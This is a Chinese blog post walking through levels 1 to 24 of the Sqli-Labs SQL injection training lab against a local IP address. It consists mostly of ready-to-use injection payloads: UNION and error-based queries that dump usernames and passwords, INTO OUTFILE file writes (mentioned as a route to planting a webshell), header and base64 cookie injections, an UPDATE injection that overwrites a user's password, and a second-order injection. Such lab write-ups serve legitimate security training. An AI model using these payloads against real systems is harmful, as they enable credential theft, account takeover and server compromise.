• Sqli-Libs 速通


    Sqli-Labs 速通

    一天一道吧。。。。


    # 目标 直接写payload,sql语句非预期执行就算成功

    表:emails,referers,uagents,users
    usrs字段:id,password,username

    简单大思路,有回显优先联合查询(可能需要绕过),无回显优先报错注入(可能需要绕过),其次http体找注入点,最后盲注
    如有其他提示根据提示找

    一般sql注入思路:注入点 -> sql语句绕过过滤 -> 联合查询、盲注等

    Less-1

    ’绕过
    http://192.168.1.28/sqli/Less-1/?id=-1' union select 1,2,group_concat(password,'~',username) from users--+

    Less-2

    http://192.168.1.28/sqli/Less-2/?id=-1/**/union/**/select/**/1,2,group_concat(password,'~',username) from users#

    Less-3

    ‘)绕过
    http://192.168.1.28/sqli/Less-3/?id=-1') union select 1,2,group_concat(password,'~',username) from users--+

    Less-4

    ”)绕过
    http://192.168.1.28/sqli/Less-4/?id=-1") union select 1,2,group_concat(password,'~',username) from users--+

    Less-5

    无回显所以’绕过报错注入
    http://192.168.1.28/sqli/Less-5/?id=1' || extractvalue(1,concat(0x7e,(select(group_concat(password,'~',username))from(users))))--+

    Less-6

    “绕过,同上
    http://192.168.1.28/sqli/Less-6/?id=1" || extractvalue(1,concat(0x7e,(select(group_concat(password,'~',username))from(users))))--+

    Less-7

    先看my.ini的secure_file_priv=有没有置空,如果没有可能无法导出或者只能在特定路径导出文件
    路径可以自己改,这里用得最多的还是写一个一句话木马到某个路径,然后getshell
    这里是默认文件导出在mysql的数据文件夹里
    http://192.168.1.28/sqli/Less-7/?id=-1' )) union select id,username,password from users into outfile 'users.txt'--+

    请添加图片描述

    Less-8

    思路和上一道相同
    http://192.168.1.28/sqli/Less-8/?id=-1' union select id,username,password from users into outfile '8.txt'--+

    Less-9

    主要没有回显无法判断,所以只能盲打
    http://192.168.1.28/sqli/Less-9/?id=-1' union select id,username,password from users into outfile '9.txt'--+

    Less-10

    看不懂…
    http://192.168.1.28/sqli/Less-10/?id=1" union select id,username,password from users into outfile '10.txt'--+

    Less-11

    抓个包,POST传输,思路:弱口令、爆破或者注入,可以发现弱口令admin和admin就能正常登录
    这里不用hackbar了,有点bug,改用header Live Sub插件
    uname=admi' union select 1,group_concat(password,'~',username) from users--+&passwd=admin&submit=Submit

    Less-12

    同11题个道理,绕过就行
    uname=admi") union select 1,group_concat(password,'~',username) from users--+&passwd=admin&submit=Submit

    Less-13

    没有正常登录时的回显,那就报错注入
    uname=admin') || extractvalue(1,concat(0x7e,(select(group_concat(password,'~',username))from(users))))--+&passwd=admin&submit=Submit

    Less-14

    uname=admin" || extractvalue(1,concat(0x7e,(select(group_concat(password,'~',username))from(users))))--+&passwd=admin&submit=Submit

    Less-15

    要注意字段的数量不然会失败
    uname=admin'union select username,password from users into outfile '15.txt'--+&passwd=admin&submit=Submit

    时间盲注
    请添加图片描述

    Less-16

    uname=admin") union select username,password from users into outfile '16.txt'--+&passwd=admin&submit=Submit

    时间盲注

    Less-17-update注入

    像这种重置密码的,肯定跟UPDATE语句相关,这个地方其实挺危险的,无论是哪个参数能注入,都能把users表里密码全改了
    比如这里把id为1的Dumb密码改成admin
    请添加图片描述
    uname=admin&passwd=admin' where id = 1--+&submit=Submit
    请添加图片描述
    好无聊啊~~

    Less-18-ua头注入

    看提示应该是http头注入
    User-Agent: ' || extractvalue(1,concat(0x7e,(select(group_concat(password,'~',username))from(users)))) or '
    返回:XPATH syntax error: ‘adminDumb,I-kill-you~Angelina,’
    想起迪总一句话,“对于渗透,我什么都不知道,我只会吃西瓜~”

    Less-19-Referer注入

    Referer: ' || extractvalue(1,concat(0x7e,(select(group_concat(password,'~',username))from(users)))) or '
    请添加图片描述

    Less-20-cookie注入

    登录时抓包,改Cookie
    Cookie: uname=admi' union select 1,2,group_concat(password,'~',username) from users--+
    请添加图片描述

    Less-21-')绕过

    一直黑盒测试好头疼,也不喜欢用工具扫这些,所以还是白盒审计吧,刚好练练代码审计
    用户名和密码都被check,多半是寄了
    请添加图片描述
    但cookie没有,无非多个括号绕过,在cookie上增加了base64编码,所以把注入语句都编码后再输入
    请添加图片描述
    任意登录,然后抓包,一直放包直到出现有uname的cookie的数据包
    请添加图片描述
    payload:

    # 源语句:
    admi') union select 1,group_concat(username),group_concat(password) from users#
    
    # base64编码后:
    YWRtaScpIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdCh1c2VybmFtZSksZ3JvdXBfY29uY2F0KHBhc3N3b3JkKSBmcm9tIHVzZXJzIw==
    
    • 1
    • 2
    • 3
    • 4
    • 5

    请添加图片描述

    Less-22-cookie双引号绕过

    账号和密码都被check了
    只能对cookie下手,分析源码,无非是对传入的cookie增加一对双引号,
    请添加图片描述
    所以末尾增加一个双引号绕开就ok,还要就是别忘了传入格式必须是base64编码
    admi" union select 1,group_concat(username),group_concat(password) from users#
    YWRtaSIgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lKSxncm91cF9jb25jYXQocGFzc3dvcmQpIGZyb20gdXNlcnMj
    请添加图片描述

    Less-23-注释符绕过

    简单代码分析,把传入的id值进行–和#替换成空
    请添加图片描述

    测试正常执行payload
    ?id=1' '
    爆库payload
    ?id=-1' union select 1,2,database() '
    爆表payload
    ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '1
    爆列名payload
    ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '1
    爆值payload
    ?id=-1' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '1
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    Less-24-二次注入

    懒了,直接拿seay审计看重点
    请添加图片描述
    mysql_real_escape_string()会转义字符,但不转义%、*、_等字符
    login_create.php所有传入参数都会经过mysql_real_escape_string()转义,考虑二次注入的可能,所以对pass_change.php下手
    请添加图片描述
    可以发现并没有对传入的username参数值进行转义,可以利用,所以思路就是可以对任何存在用户无视旧密码认证来任意修改密码,这里选择修改用户Dumb的密码为aaa
    先注册一个Dumb’ #的用户,修改密码,

    请添加图片描述
    请添加图片描述
    语句执行前用户名没有被转义,

    # 就会构造出
    UPDATE users SET PASSWORD='$pass' where username='Dumb' #' and password='$curr_pass'
    # 即执行
    UPDATE users SET PASSWORD='$pass' where username='Dumb'
    
    • 1
    • 2
    • 3
    • 4

    达到无旧密码验证而修改Dumb密码的目的
    请添加图片描述


    待续....
  • 相关阅读:
    入选 2022 边缘计算产业全景图|云边协同
    MYSQL高级(二)---索引
    剑指 Offer II 008. 和大于等于 target 的最短子数组
    vue 使用$router.push(参数)跳转同一路由页面,参数不同,跳转页面数据均为最后一次传值数据
    矢量绘图软件Sketch 99 for mac
    机器学习笔记 十四:k-近邻算法(kNN)的实现
    <Linux>基础IO_输出重定向&&缓冲区
    Docker容器搭建android编译环境
    威尔逊平滑点击率
    以OneFlow为例探索MLIR的实际开发流程
  • 原文地址:https://blog.csdn.net/m0_46684679/article/details/128153846